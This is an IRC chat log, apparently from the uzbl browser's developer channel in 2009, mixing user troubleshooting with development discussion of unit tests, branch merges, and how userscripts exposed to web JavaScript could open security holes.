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11:15 < Dieterbe_> heya dudes
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11:24 < madnificent> 'llo Dieterbe_
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11:30 < madnificent> how do I set the XDG_DATA_HOME, I've set it in bashrc, and the value shows up there (echo "$XDG_DATA_HOME" returns it), but uzbl's cookies.py seems to fail in fetching it.  Must I set it elsewhere?
11:30 < Dieterbe_> set it in your login shell or so
11:31 < madnificent> Dieterbe_: how should I define it?  If that variable is exported, shouldn't it work then?
11:31 < Dieterbe_> not much point in setting it in a regular shell if you don't start uzbl from it (eg it's not it's child)
11:31 < Dieterbe_> only childs of a parent process see exported variables
11:31 < madnificent> I have it set in .bashrc, and it sets the variable, but uzbl doesn't get it  (uzbl is a child of bash in this case)
11:32 < madnificent> Dieterbe_: so, I should set it in .xinitrc?
11:32 < Dieterbe_> #define 'set'
11:32 < Dieterbe_> did you mean export?
11:32 < madnificent> Dieterbe_: sigh, I've set it like PATH is set there.  But that is already exported, so I should probably export it anyways.  (just a sec)
11:34 < madnificent> thanks Dieterbe_, I can be so stupid
11:35 < Dieterbe_> i know ;)
11:35 < rob|> hmm, the design of the env was unfortunate - people constantly seem to confuse it with a shared memory area..
11:39 < Dieterbe_> i would be too complicated i think, to implemented it as shared memory for "misc" processes. how would one handle processes from different users but same group etc
11:39 < Dieterbe_> i like the parent->child model. very simple and works quite well
11:42 < rob|> that doesn't exclude shared memory, though from a security point of view a copy of the env per process is certainly better
11:43 < Dieterbe_> i mean the "user model", not so much the actual implementation :)
11:43 < rob|> i just makes the concept a bit futile as from parent to child it works almost like shared memory but of course not in the other direction
11:44 < madnificent> in env's defence: this was just me being stupid
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13:20 < lazzareth> Hey rob|, Someone said earlier I should check out your fork of uzbl because you had implemented the "get" command? Is this your github username robm?
13:22 < lazzareth> madnificent, Still having XDG_DATA_HOME issues?
13:22 < lazzareth> I can help you 100% with those.
13:23 < alice|wl> is there a config setting to make /* not search until at leas 2or3 chars are typed?
13:23 < alice|wl>  /*** would be funny
13:23 < lazzareth> alice|wl, IMO, it would be nice to have an option to make it not search at all unless you <CR>
13:23 < alice|wl> lazzareth: eesy /_
13:24 < lazzareth> .. Thats not a command?
13:27 < Dieterbe_> yes it is
13:28 < Dieterbe_> read the readme ;)
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13:32 < lazzareth> Dieterbe_, I can't find it? Maybe I'm using a dated version of uzbl :S
13:33 < Dieterbe_> maybe..
13:33 < lazzareth> Is it in the experimental branch?
13:35 < Dieterbe_> both master and exp have this documented
13:36 < Dieterbe_> maybe not in the readme but in the sampleconfig
13:37 < lazzareth> I cant for the life of me find it anywhere using ~$ grep "eesy" *
13:38 < Dieterbe_> ooh lol
13:38 < Dieterbe_> lazzareth: he meant 'easy', the command is : /_
13:38 < lazzareth> LOL
13:39 < lazzareth> HLI (Human-language-interface) is malfunctioning today.
13:43 < Dieterbe_> ;)
13:43 < Dieterbe_> and '_' is documented, is what i meant
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13:47 < scj> the fact that you can use * and _ simultaneously isn't documented, afaik
13:50 < Dieterbe_> i don't think anyone even thought of that yet :P
13:57 < Dieterbe_> not even sure how that should work
13:59 < georgehorse> Doesn't make any sense to me
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14:02 < scj> incase you want to make some sort of completing system. then you could bind foo* = spawn display_matches.sh and foo_ = spawn pick_best_match.sh
14:02 < scj> or something
14:02 < georgehorse> I thought you meant
14:02 < georgehorse> bind foo*_ = whatever
14:03 < Dieterbe_> me too
14:03 < georgehorse> like it would do one thing, until you hit enter, and then the second
14:03 < scj> oh. guess the HLI really is borked today :v
14:04 < Dieterbe_> but scj i think you're on to something
14:05 < Dieterbe_> since we cansend 'keycmd' commands through the fifo, we might be able to do something completion-ish
14:06 < scj> we'd need more than just * and _ though
14:08 < Dieterbe_> not sure
14:10 < scj> do control characters get captured?
14:11 < scj> so you can use bind foo* = spawn bar to send tab and arrows and stuff?
14:11 < Dieterbe_> not sure
14:11 < Dieterbe_> tias
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14:22 < georgehorse> Is it possible to bind space to something?
14:24 < scj> not atm
14:26 < georgehorse> ok
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14:54 < bct> there are two places where a pointer is cast to an int, which causes a gcc warning on my 64 bit system
14:55 < bct> i think the one in expand_vars can be prevented by casting to an intptr_t instead
14:57 < bct> but the one in dump_var_hash is in a printf("...%d"), so using an intptr_t on my system warns me that printf is expecting an int instead of a long int
14:59 < Dieterbe_> hehe, our code can be dirty sometimes 
15:07 < bct> i don't know if there's any non-dirty way to deal with something like "void **ptr"
15:07 < bct> :P
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15:44 < tha> when i click on a link in uzbl, that opens a new window - it always opens 2 windows (with the same content) - what am i doing wrong? This happens with example config, my own config, without config
15:45 < Dieterbe_> tha: try latest master
15:46 < madnificent> Dieterbe_: perhaps it would be nice if the date of the latest master update was put in the topic
15:47 < tha> thx a lot
15:47 < Dieterbe_> madnificent: i don't see how relevant that would be. besides there is http://www.uzbl.org/commits.php
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16:02 < tha> i rebuild my uzbl. but i still have this problem
16:16 < Dieterbe_> hmmm.... maybe i still need to merge in that fix
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16:51 < bob_f> Hello. I've set uzbl to be x-www-browser, and sensible-browser now loads uzbl. But I get this error "Failed to contact the GConf daemon; exiting."
16:52 < lazzareth> Hey bob_f
16:52 < bob_f> Rather, I have set uzbl-launch to do this, which is a bash script that calls "uzbl -u $1"
16:52 < bob_f> Hello. :)
16:52 < lazzareth> I'm still using bpython rather happily thanks for sharing.
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16:52 < bob_f> Hooray. \o/
16:52 < bob_f> Small world. :)
16:53 < lazzareth> Very much so.
16:53 < Dieterbe_> bob_f: gconf is evil
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16:55 < bob_f> Dieterbe_: Yup.
16:55 < bob_f> Dieterbe_: I'm guessing it's because I don't have the correct gnome madness in my environment.
16:56 < bob_f> If I do "export BROWSER=uzbl-launch" then typing "sensible-browser" correctly launches uzbl.
16:56 < Dieterbe_> i've never heard of 'sensible-browser'
16:56 < uranther> sup
16:56 < bob_f> But only if I'm already in an environment. If I then use my urxvt URL loader script, I get the same error.
16:56 < Dieterbe_> but uzbl definitely doesn't need gconf
16:57 < bob_f> Hmm.
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16:57 < bob_f> sensible-browser just picks a sensible browser depending if you're running X or Gnome or whatever.
16:57 < hejki> :D
16:57 < Dieterbe_> wait a minute. webkit does depend on it if you compile it with the default flags
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16:58 < lazzareth> Dieterbe_, Is that the gnome-keyring dep?
16:58 < uranther> oh yeah Dieterbe_ what would you say to me possibly writing up some unit tests with GLib's testing framework?
16:59 < Dieterbe_> lazzareth: i guess every project that starts with 'gnome-' depends on gconf
16:59 < Dieterbe_> uranther: cool i didn't even know glib had that.  sounds good
17:00 < jaj> webkit doesn't depend on gconf here
17:00 < jaj> but it depends on a lot of other gnome stuff
17:00 < bct> uranther, have you tried linking to uzbl from something external yet? i started trying to write some tests but ran into problems with that
17:01 < jaj> http://www.pastie.org/522976
17:01 < uranther> bct, o rly? I haven't gotten that far yet :P
17:02 < bob_f> Dieterbe_: Hm, I built webkit here but I just checked the configure script - it defaults to 'no' for --enable-gnome-keyring
17:02 < bob_f> And I didn't set any options.
17:03 < uranther> all of the programs i've seen so far that use it are libraries
17:03 < Dieterbe_> bob_f: hmm well on arch it depends on gconf so i assumed it's compiled with default options. i'll check that for you
17:04 < bob_f> Dieterbe_: Thank you.
17:04 < Dieterbe_> oh wait. now i remember
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17:04 < Dieterbe_> webkit->libsoup->gconf
17:04 < bct> i'm sure there's a way around it, i'm just not sure how to make test.c:main() take precedence over uzbl.c:main()
17:04 < uranther> bct, maybe the only option is to compile uzbl again as a library? i'll keep looking.. :/
17:05 < bob_f> Dieterbe_: Hm, I remember installing libsoup.
17:05 < uranther> i see
17:05 < Dieterbe_> bob_f: libsoup is the badboy :) though you might be able to compile it without gconf support. not sure
17:05 < bob_f> Dieterbe_: Okay, onwards and upwards ! Thatks for the pointer. :)
17:09 < uranther> to #gtk+ I go... Yeah Dieterbe_, apparently the testing framework is fairly new.. GLib keeps impressing me though
17:16 < uranther> bct, what if we moved uzbl's main() into a separate file?
17:16 < uranther> and, I would suggest, move the main() internals into a separate function
17:17 < bct> i think there were a few other problems too, that's the only one i can remember
17:17 < uranther> do we use the static keyword for our functions? I don't remember..
17:17 < bct> that's the solution i was thinking of, but some people seem to like having everything in one file
17:17 < bct> ;)
17:18 < uranther> yea true
17:18 < bct> (there was a big argument about it a week ago)
17:18 < DuClare> There have been many arguments over it.. :]
17:18 < uranther> another option is to use #ifdef and put all the unit tests somewhere in the file
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17:18 < uranther> which is kind of a sloppy solution, i guess
17:19 < Dieterbe_> i'm ok with putting all unit tests in a separate file, but i would like to keep the main () in uzbl.c
17:19 < bct> maybe #ifndef LIBRARY around the offending parts
17:19 < bct> and then 'make test' rebuilds with -DLIBRARY ?
17:19 < uranther> oo another option
17:19 < uranther> sure
17:20 < Dieterbe_> that makes more sense
17:21 < uranther> yeah, we do use the static keyword. so then we wouldn't be able to access the functions, right?
17:23 < madnificent> oh joy having done a partial update rendered uzbl useless :(  (not something uzbl can do anything about though)
17:24 < uranther> we could ... remove the static keywords? :P
17:35 < bob_f> Dieterbe_: Oh well, tried building libsoup with the "--without-gnome" flag, then rebuilt webkit, then rebuilt uzbl, but I get the same error.
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17:36 < bob_f> Maybe if I do a make clean first ...
17:36 < Dieterbe_> bob_f: well if uzbl by itself works, there must be something wrong with your fancy sensible-browser thing
17:38 < uranther> bct, does that seem reasonable? let me know what you come up with - I don't want to duplicate efforts.. I can build off your stuff then
17:39 < bob_f> Dieterbe_: Well, I think it's just that it's running in an environment that doesn't have the gnome stuff there.
17:39 < bob_f> I'd like to be able to run it without that stuff there.
17:39 < Dieterbe_> bob_f: does uzbl work or not when you open a terminal and type 'uzbl'
17:39 < bob_f> Yup.
17:40 < Dieterbe_> well then i can't be of any more help with your fancy wrapper stuff :)
17:41 < bob_f> Ah well, I'll keep poking it.
17:41 < bob_f> Thanks anyway.
17:44 < madnificent> so bob_f, you're trashing this channel too?
17:45 < bob_f> Hey madnificent.
17:45 < bob_f> I guess you heard I was using uzbl so you started hanging out here. :)
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17:47 < Dieterbe_> why does no one ever say "hey dieter, you're on this channel too?" :(
17:47 < madnificent> bob_f: don't know who told me, but it was after a discussion on stumpwm, yes:)
17:47 < madnificent> hey dieter, you're on this channel too?
17:48 < madnificent> Dieterbe_: you're only on one channel, I wanted to hount you on another one, but you made it too hard
17:48 < Dieterbe_> madnificent: when you don't mean it, it doesn't count
17:48 < uranther> i was gonna say something in #gtk+ but it was too obvious
17:48 < Dieterbe_> nope, i'm on a lot more channels
17:48 < madnificent> Dieterbe_: chanserv doesn't tell me so :(
17:49 < madnificent> Dieterbe_: sorry, freenode doesn't tell me so
17:49 < bob_f> madnificent: It's a flag you can set, so other users can only see what channels you're in if they're also in those channels.
17:49 < bob_f> i.e. only display the intersect.
17:49 < uranther> sneaky
17:49 < madnificent> bob_f: yes, I goot that one after he told me he was in other channels
17:50 < Dieterbe_> oh i didn't know that
17:50 < uranther> is that the +i flag?
17:50 < bob_f> I never remember which one.
17:50 < uranther> i don't know what my usermodes are
17:50 < bct> uranther: that seems like a good path forward. i don't have any tests that work
17:50 < madnificent> I think it is on by standard
17:50 < madnificent> as in: you can see where on is if he didn't set otherwise
17:50 < bob_f> Maybe for cloaked nicks or something, I dunno.
17:51 < bct> you won't be duplicating anything
17:51 < uranther> man if i can figure out how to get vim to fold all those functions in uzbl.c that would be sweetness
17:51 < uranther> bct, oh ok, cool
17:51 < madnificent> uranther: it is a feature called :q! emacs yourfile.c
17:52 < Dieterbe_> :)
17:52 < uranther> i think there are .vim plugins for it.. h/o
17:52 < bct> ed is the standard editor.
17:52 < madnificent> uranther: there was something for it, I seem to remember something like it
17:52 < uranther> i bookmarked it http://arstechnica.com/open-source/guides/2009/05/vim-made-easy-how-to-get-your-favorite-ide-features-in-vim.ars
17:52 < madnificent> bct: butterfly (xkcd)
17:53 < madnificent> http://xkcd.com/378/ << this one
17:53 < uranther> what's funny is, i actually saw a tutorial use cat > file.txt
17:53 < uranther> i was like what?! oh...
17:54 < Dieterbe_> actually i do that sometimes
17:54 < uranther> vim takes too long to startup.. lol
17:54 < madnificent> emacsclient launches faster than my terminal, but if a terminal is open on a machine without my config, I don't mind doing it
17:55 < bct> no wait, i change my answer: copy con.
17:56 < uranther> yeah this is bullshit. i'm looking at my vim cheatsheet and it wants you to specify the number of lines to fold for every single fold
17:57 < madnificent> uranther: yes, and the plugin will find the correct amount of lines for you :) not that big of a deal.  You just need the plugin
17:58 < uranther> D: oh i got it! :set foldmethod=syntax
17:58 < uranther> badass
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18:29 < bob_f> Looks like I'm gonna have to leave my laptop switched on on the way home so webkit can finish building.
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18:54 < Dieterbe_> hey dxdx 
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18:58 < Dieterbe_> dxdx: could you make your branch mergeable? i would prefer you merge from rob and document the changes from a user perspective (--config -, the JS stuff etc)
19:07 < madnificent> bob_f: bind the bumps!
19:09 < madnificent> wohoow uzbl works again
19:09 < dxdx> Dieterbe_: i'm not sure if it is ready to merge
19:10 < dxdx> yesterday we found with scj that scripts could introduce security bugs (if they define functions, any web script call call them)
19:11 < dxdx> s/call call/can call/
19:13 < dxdx> wrapping js code in a function (so that the global object is left untouched) might be a solution but there would be no way to access defined functions from scripts
19:18 < madnificent> a flash-block like plugin would be a nice thing to have
19:18 < madnificent> (perhaps that isn't much work, I can't tell)
19:18 < Zaba_> you can tell webkit to disable all plugins
19:19 < uranther> yeah i think that is already accessible through the config
19:19 < scj> set disable_plugins = 1
19:19 < uranther> ^
19:19 < madnificent> Zaba_: oh no, like flashblock.  You can click it, and then it loads the flash thingy
19:19 < Zaba_> ah
19:19 < Zaba_> I prefer to ban the crap altogether
19:19 < madnificent> not 'disable all flash'
19:19 < madnificent> I 'need' it for youtube for instance (and sometimes sites insist on having it for something, and some others are half-bad and half-good)
19:20 < dxdx> oh, i noticed that firefox flashblock is kinda fake
19:20 < uranther> eh, so what happens if you disable_javascript and still want to run userscripts like formfiller?
19:20 < madnificent> dxdx: care to elaborate?
19:21 < dxdx> madnificent: it lets the flash plugin load, but then replaces flash objects with clickable divs
19:21 < scj> uranther: nothing
19:21 < uranther> scj, is that the desired behavior, do you think/
19:21 < scj> but you could do "bind foo = chain 'set disable_scripts = 0' 'spawn bar' 'set disable_scripts = 1'", I believe
19:22 < uranther> oh snap
19:22 < madnificent> dxdx: the decent way would be to substitute the content of the flash with some clickable thing *before* the page is rendered/flash is loaded, then add the flash with javascript on click... perhaps uzbl could allow for something like that? (ie: you can modify the document after loading).  Will not work for sites that insert their flash through javascript though
19:23 < uranther> uzbl would have to do it the same way as firefox i think.. it would be up to a proxy to do the substitution you're talking about
19:24 < dxdx> i'm thinking about getting some signal/hook for plugin load
19:24 < dxdx> or writing a plugin wrapper to do so (nspluginwrapper?)
19:24 < scj> have anyone looked into how the policy handling works?
19:25 < dxdx> holizz wrote some stuff about new window policy handling
19:25 < scj> perhaps we can make it ask permission to load plugins
19:25 < uranther> wow.. firefox is taking 852mb of ram and i'm hardly doing anything
19:25 < dxdx> holy shit
19:25 < dxdx> uranther: 64 bit?
19:26 < uranther> no
19:26 < dxdx> then it's a run of the mill memory leak (!)
19:26 < uranther> leaks
19:26 < uranther> maybe i should update it..
19:27 < uranther> oh cool.. it's still closing. lol
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19:43 < hejki> how can i select <input> -fields?
19:46 < scj> hejki: depends on what you mean with select
19:47 < hejki> scj: as in i get to insert into it :)
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19:50 < scj> 1) mouse 2) one of the hint scripts 3) sending js document.forms[i]... to the fifo
19:51 < hejki> well i mainly was looking for the keyboard way
19:52 < hejki> at least the _Strings -version doesn't work as intended :>
19:53 < scj> linkfollow works, at least. but it doesn't automatically switch to insert_mode when it's given focus
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20:01 < hejki> hmm.. i need to first press enter in order for the scripts' input to disappear and then i for insert.. mm
20:04 < scj> you could use dxdx's Uzbl object to set the insert_mode for you, except that would make your browser a gaping security hole
20:07 < dxdx> =(
20:07 < dxdx> (?)
20:07 < dxdx> scj: you can keep the Uzbl object inside the context of your function, not global
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20:13 < dxdx> how do i compile the README to html?
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20:18 < scj> hejki: heh, figured out how to set insertmode
20:19 < scj> kinda contrived, but "bind f_ = chain 'js hints.follow("%s",hints.open)' 'spawn $HOME/bin/setInsertMode'
20:20 < scj> where $HOME/bin/setInsertMode is the bashscript "echo toggle_insert_mode 1 > "$4""
20:20 < dxdx> scj: uhm, avoiding the Uzbl object doesn't help at all, the object itself didn't introduce any hole
20:20 < dxdx> scj: there the hole would be that any web javascript can call "hints.follow"
20:22 < dxdx> of course that code does add compatibility to the current master/experimental
20:23 < scj> until the execution contexts are sorted, I figure it's best to avoid using Uzbl if possible
20:25 < dxdx> well, just not doing anything that allows arbitrary command execution is enough
20:26 < dxdx> having that script in bin doesn't seem like a good tradeoff
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20:32 < scj> couldn't get it to do just 'sh "echo toggle_insert_mode 1" > "$4"', due to it being in a chain
20:32 < scj> anyway, gotta scoot
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20:56 < scj> back again
20:57 < scj> dxdx: my point is that as long as you don't bring in the Uzbl object, all js functions are as (in)secure as anything else on the web
21:11 < dxdx> scj: maybe, but what if you had the formfiller passwords saved in a variable, for example?
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21:36 < uranther> i'm really wrestling with `make' to get these tests to work..
21:39 < dxdx> Dieterbe_: done with the docs and merge
21:40 < dxdx> Dieterbe_: http://github.com/dequis/uzbl/tree/experimental
21:41 < Dieterbe_> dxdx: and the JS security thing?
21:41 < dxdx> Dieterbe_: i've written a section about that in the docs with tips for script writers
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21:42 < dxdx> you may merge that now, or you could wait until i find a better solution
21:45 < dxdx> because, anyway, as scj says, as long as the Uzbl object isn't used, all js functions are as insecure as before
21:45 < Dieterbe_> let's see..
21:49 < Dieterbe_> and it is added and removed before and after the script execution so that it is hidden to web javascripts.
21:49 < Dieterbe_> hmm i don't understand this
21:50 < Dieterbe_> isn't this a race condition? where the object is available to webscripts for a short time
21:52 < dxdx> Dieterbe_: it might seem so, but there are no threads in javascript
21:52 < dxdx> except for web workers, but they are isolated
21:52 < Dieterbe_> right
21:54 < bct> what about delayed things like a setTimeout or an XHR callback?
21:54 < scj> bct: doesn't work
21:55 < dxdx> scj: they did for me
21:55 < bct> i mean on a page.
21:55 < dxdx> asynchronous != threaded
21:56 < scj> what the hell. I was experimenting with that earlier and I couldn't get it to work
21:56 < scj> now it does
21:56 < bct> ah, so javascript runs in the same thread as everything else in the browser. good to know.
21:56 < bct> (which is not quite the same thing as "there are no threads in javascript")
21:57 < dxdx> yeah, well, i meant "you can't spawn new threads" (but there are those workers, so i'm wrong with that too)
21:58 < dxdx> scj: i did some testing with that while writing the docs
21:58 < bct> it could cause problems even if it wasn't spawning a new thread, just running in a different thread
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21:59 < bct> but you've got this under control so i'm going to shut up :)
21:59 < dxdx> bct: heh, it's still a good point (which doesn't apply :D)
22:00 < Dieterbe_> dxdx: ah the diff looks much better now. almost perfect :) just 2 things: the socket is bidirectional now, right? there is a tiny 'TODO' in the readme that should be updated if so, and --config - is not in this branch but another?
22:00 < dxdx> scj: take a function like this: function f() { <1>; setTimeout(function() { <2> })}
22:00 < dxdx> Dieterbe_: stdin branch
22:00 < dxdx> Dieterbe_: and there's makefile branch too
22:00 < Dieterbe_> dxdx: okay. fix the first point and i'll merge :)
22:01 < bct> btw Dieterbe_, i've got a couple of really minor fixes in my clean branch
22:01 < dxdx> scj: in <1> you can access Uzbl, the global object, in <2> you can't access the global object, but if you did "var Uzbl = window.Uzbl;" somewhere in <1> you would be able to access it as a local variable
22:01 < bct> will help get flyspray back down to one page.
22:02 < uranther> bct, you good at Makefiles?
22:02 < bct> define "good".
22:03 < uranther> bct, able to fix the problems i'm having with includes and library linking :P
22:03 < dxdx> Dieterbe_: `get <key>` <--- get doesn't exist anymore (i found it commented out), should I replace that with `print @key`?
22:03 < scj> dxdx: really? at a glance it seems like <2> would be able to access the global object aswell
22:03 < scj> but then again, I am a js noob
22:04 < Dieterbe_> dxdx: yes. good catch
22:04 < dxdx> scj: didn't make sense for me, either, but it threw ReferenceError in the console
22:08 < dxdx> Dieterbe_: done
22:08 < Dieterbe_> dxdx: dxdx thanks
22:18 < Dieterbe_> nice :)
22:18 < Dieterbe_> full duplex socket \o/
22:22 < dxdx> :D
22:22 < Dieterbe_> hey the github bot doesn't join anymore
22:24 < dxdx> where did you configure it, anyway? i googled for it and didn't found anything
22:26 < Dieterbe_> if you have projects on github that you're the "founder" of (eg not something you forked) then there's an extra page where you can configure things like irc bots, emails and such
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22:29 < github> uzbl: Dieter Plaetinck master SHA1-199a9b0
22:29 < github> Aaron Griffin [PATCH 2/4] Remove install -D arg, OSX compatibility
22:29 < github> http://bit.ly/Cl5dr
22:29 < github> uzbl: Aaron Griffin master SHA1-7335fa2
22:29 < github> Aaron Griffin [PATCH 3/4] Replace cp -ax with -p, for OSX compat
22:29 < github> http://bit.ly/sSC3O
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22:29 < Dieterbe_> o_O
22:30 < Dieterbe_> those commits are a while ago..
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22:30 < github> uzbl: Dieter Plaetinck experimental SHA1-8284be1
22:30 < github> add dxdx (dequis) to AUTHORS
22:30 < github> http://bit.ly/17FUHq
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22:31 < Dieterbe_> anyway bed time for me.  Thanks for the nice work everyone (especially dxdx ! ) and see you guys tomorrow or so
22:35 < uranther> bct, http://github.com/uranther/uzbl/commit/00fbb3b2a6301e9694386480e44eaad4f59ee83c
22:35 < uranther> and the 2 prior commits i think, for the static keywords
22:36 < alice|wl> huh, using dokuwiki fails badly. saving and image upload doesnt seem possible
22:36 < alice|wl> no error but simple redirect to previous page
22:37 < dxdx> uranther: awesome
22:37 < uranther> :D
22:37 < dxdx> but i think we'll have to kill all the static keywords
22:38 < bct> great stuff uranther!
22:38 < uranther> dxdx, i did that in the 2 previous commits.. was trying to space things out, i guess
22:40 < dxdx> oh, cool
22:40 < bct> looking forward to getting home and writing some tests :)
22:40 < uranther> the gtester reports don't work yet so i commented them out.. didn't feel like messing with it atm ;)
22:40 < uranther> cool bct
22:41 < bct> why were all those functions static anyways?
22:41 < dxdx> that is a good question..
22:41 < uranther> habit i guess.. there was no need for them to be that way
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23:25 < cdwillis> apparently the uzbl wikipedia page that was just started was just deleted
23:25 < dxdx> don't create it again
23:26 < dxdx> if they want notability, we'll get it ourselves (!)
23:27 < uranther> man i honestly don't see why people love firefox so much.. it's taking 415mb and being laggy again. it's a shame I have to use it for TinyMCE to work right
23:27 < dxdx> people still love it?
23:27 < uranther> fanboys
23:27 < dxdx> by definition they are stupid
23:27 < uranther> I use Opera for my everyday browsing at work and whatnot
23:28 < uranther> lol :P
23:31 < cdwillis> i've been using the opera 10 beta lately
23:31 < cdwillis> not really that impressed, but it's better than opera 9
23:33 < uranther> haven't tried it out yet
23:33 < uranther> i just downloaded FF3.5rc2 to see if the leaks were fixed
23:33 < uranther> they're not..
23:33 < cdwillis> they're never going to fix those leaks
23:34 < uranther> they made a big deal about it before but I guess that's a one-time thing instead of an on-going process
23:34 < dxdx> uranther: i don't know, maybe it is a flash issue?
23:35 < uranther> i'm not using flash.. just doing my normal Joomla junk
23:35 < uranther> there's a lot of elements and images being loaded constantly which is raping firefox
23:35 < dxdx> oh, i see
23:35 < dxdx> never had such problems, but never used joomla either
23:35 < uranther> don't
23:35 < uranther> lol..
23:36 < uranther> i have to do it for my job and it's painful
23:36 < uranther> anyways i'm gettin the fuck outta here
23:36 < uranther> peace
23:36 < dxdx> okok
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00:33 < bobf> Dieterbe_: I decided my uzbl woes (having to build libgtk, libwebkit, weird gnome-conf issues etc. etc.) were reason enough for me to go back to sid, and now everything works great. :)
00:34 < bobf> (I've been trying ubuntu for the last few months, turns out I do hate it after all).
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00:50 < bobf> Hmm, although the sample scripts appear to have vanished.
00:51 < bobf> Aha ! Found them.
00:59 < uranther> interesting how I just learned about TDD yesterday, and there's something on Hacker News about it
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03:30 < uranther> damn innernets
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04:46 < urnthr> eh so the wikipedia entry for uzbl shouldn't be deleted if it uses these as references right? http://www.uzbl.org/wiki/press
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05:15 < Tel_Janin> Downloads are wonky for me in uzbl
05:15 < Tel_Janin> I think it's trying to download from the first link on the page, rather than the link I click on
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05:19 < bct> Tel_Janin, can you link to an example?
05:20 < Tel_Janin> say I try to download a flash from 4chan's /f/ board. I will instead get a file named up.htm
05:20 < Tel_Janin> up.htm is the first file liknked in the page
05:23 < bct> hmm, it's working for me
05:23 < bct> if i click "this is how i bake bread" it downloads the swf
05:24 < Tel_Janin> --2009-06-24 23:24:36--  http://cgi.4chan.org/f/up.html
05:24 < Tel_Janin> Resolving cgi.4chan.org... 207.126.64.186
05:24 < Tel_Janin> Connecting to cgi.4chan.org|207.126.64.186|:80... connected.
05:24 < Tel_Janin> HTTP request sent, awaiting response... 200 OK
05:24 < Tel_Janin> Length: 29122 (28K) [text/html]
05:24 < Tel_Janin> Saving to: `up.html.1'
05:24 < Tel_Janin> 100%[=====================================================>] 29,122      48.3K/s   in 0.6s
05:24 < Tel_Janin> 2009-06-24 23:24:36 (48.3 KB/s) - `up.html.1' saved [29122/29122]
05:25 < Tel_Janin> what happens when I right click on this is how I bake bread and choose download
05:26 < bct> strange.
05:26 < bct> have you tried the experimental branch?
05:26 < Tel_Janin> nooooo
05:26 < Tel_Janin> that was altgethr too man  o's
05:27 < bct> i don't know if it will help, but that's the only difference i can think of.
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06:01 < Rodya> Is it possible to open a local file in uzbl? I can't seem to find out how or even if it is...
06:08 < bct> yup, you just need to use a file: url
06:08 < bct> file://<path>
06:08 < Rodya> My problem ended up being that it didn't escape spaces in the path
06:08 < Rodya> Rather, I'm not supposed to
06:09 < Rodya> Firefox replaces them with %20, so I assumed I needed to here as well, silly me
06:09 < Rodya> Then I tried \ , which also didn't work, lol
06:09 < Rodya> Thanks =)
06:11 < bct> aah
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06:12 < bct> np :)
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07:05 < Rodya> When I click a link which tries to open a new window (<a ... target="_blank"...>...</a> or the like), uzbl is opening it in two window, and if I right click the link and select Open in New Window, it opens it in one, but right clicking every time is rather annoying... Is there a way I can fix this?
07:17 < cdwillis> i just noticed that earlier
07:23 < Rodya> http://www.uzbl.org/bugs/index.php?do=details&task_id=16&project=1&pagenum=2 comments say its fixed in an experimental branch
07:24 < Rodya> but it might not be exactly the same bug, i suppose
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08:54 < shatter> 9976 daniel    20   0  128m  41m  18m R  141  1.4   0:46.91 uzbl
08:54 < shatter> it shouldn't do that, should it?
08:56 < shatter> (the "141" is %CPU in 'top')
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12:37 < Dieterbe_> bobf_: arch > sid
12:38 < bob_f> Dieterbe_: Here's a counter-argument: sid > arch
12:38 < Dieterbe_> ok. whatever suits you
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12:44 < bob_f> :)
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14:25 < uranther> soup
14:26 < Dieterbe_> sup
14:26 < uranther> gmorning
14:26 < uranther> afternoon? :P
14:26 < Dieterbe_> 14:26:24 < uranther> afternoon? :P
14:28 < uranther> I pushed some commits for a preliminary testing framework Dieterbe_
14:28 < uranther> my Makefiles might be kind of iffy, but they work for now
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15:21 < lazzareth_> Loving the new print @variable command
15:23 < lazzareth_> Though I am not sure if it is more of a feature request than bug but I would be awesome if print could also dump the formatter keywords like TITLE, SELECTED_URI, MODE, LOAD_PROGRESS, etc. So we could "print @TITLE"
15:32 < scj> that is the plan, I believe
15:34 < uranther> that shouldn't be hard
15:34 < scj> as for title, you can already do "print @<document.title>@"
15:38 < lazzareth_> Impressed as always.
15:39 < lazzareth_> "print @<document.title>@" is a nice hack for the moment but direct access to the variables would be awesome ;)
15:39 < DuClare> We're going to remove the "formatter keywords" and replace them with plain variables
15:40 < lazzareth_> How will the formatting strings know its a variable?  @window_title ?
15:41 < Dieterbe_> DuClare: means the "user customizable keywords" like COMMIT, UNAME, etc
15:42 < Dieterbe_> lazzareth_: is taking this one step further: the internal variables that uzbl itself uses, such as the window title
15:42 < Dieterbe_> or can this already be done, i'm not sure
15:42 < DuClare> I lost you
15:42 < Dieterbe_> either way it seems like a fairly easy thing to implement
15:43 < DuClare> lazzareth_: Yes, same syntax as with print (and later, bind)
15:44 < lazzareth_> Dieterbe_, Will we also be able to set values to arbitrary keys? I.e. "set mycustomkey = datadatadata" ?
15:44 < lazzareth_> Is that in the works?
15:44 < Dieterbe_> lazzareth_: i talked about that with rob.  I think he said he liked it, not sure
15:44 < uranther> is the progress indicator in the status bar "detachable" if you wanted to, say, monitor a file download from the status bar using the same kind of progress indicator
15:44 < Dieterbe_> DuClare: hold on let me look at the code
15:44 < uranther> or maybe i'm getting ahead of myself..
15:45 < DuClare> Dieterbe_, lazzareth_: User specified variables should be easy to support and are likely to be handy, so yes, they're on the list
15:45 < scj> uranther: with user specified variables, it should be easy
15:46 < uranther> cool
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15:47 < Dieterbe_> DuClare: what i meant was: right now we use variables as an interface towards uzbl ( eg var_name_to_ptr[] in uzbl.c), if you set the uri, uzbl will change the uri, you can print @uri etc. but there are some variables internal in uzbl, not exposed through this mechanism (basically because they are read only. it's webkit that can set them, not the user) such as the title of the page. at this point you cannot set (good) but also not get (bad) such variables
15:48 < DuClare> Dieterbe_: I suggest we use var_name_to_ptr and disallow setting them.  Getting ought to work that way..?
15:49 < Dieterbe_> DuClare: yep.
15:49 < scj> uranther: it is possible to do atm, too. "print @status_format", "set <modified status_format>"
15:50 < Dieterbe_> DuClare: i would just add another flag. like 'dump' which is 0/1, one called "write" or something
15:51 < uranther> scj, yeah, i just wasn't sure about the progress indicator.. you could, of course, make one with an external script
15:51 < DuClare> Dieterbe_: Yep, something like that
15:52 < DuClare> Dieterbe_: One thing though.  Is it safe to use a pointer (can webkit free & reallocate these vars?) or do we need a way to specify a getter function?
15:54 < Dieterbe_> DuClare: not sure. i would need to look up how webkit behaves. in the worst case we can always create a wrapper variable ourselves with a fixed pointer
15:55 < DuClare> Yup.
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16:03 < lazzareth_> Dieterbe_, I know uzbl supports multi-line status bars but how about adjusting the docking of the status bar like "set status_dock = top" or give us another status bar to play with on the top of the window (which is hidden by default "set status_top_hidden = False") ?
16:03 < lazzareth_> Just an idea.
16:03 < DuClare> You can already set it to top
16:03 < lazzareth_> :O
16:04 < Dieterbe_> uhm.. yes
16:04 < Dieterbe_> rtfm
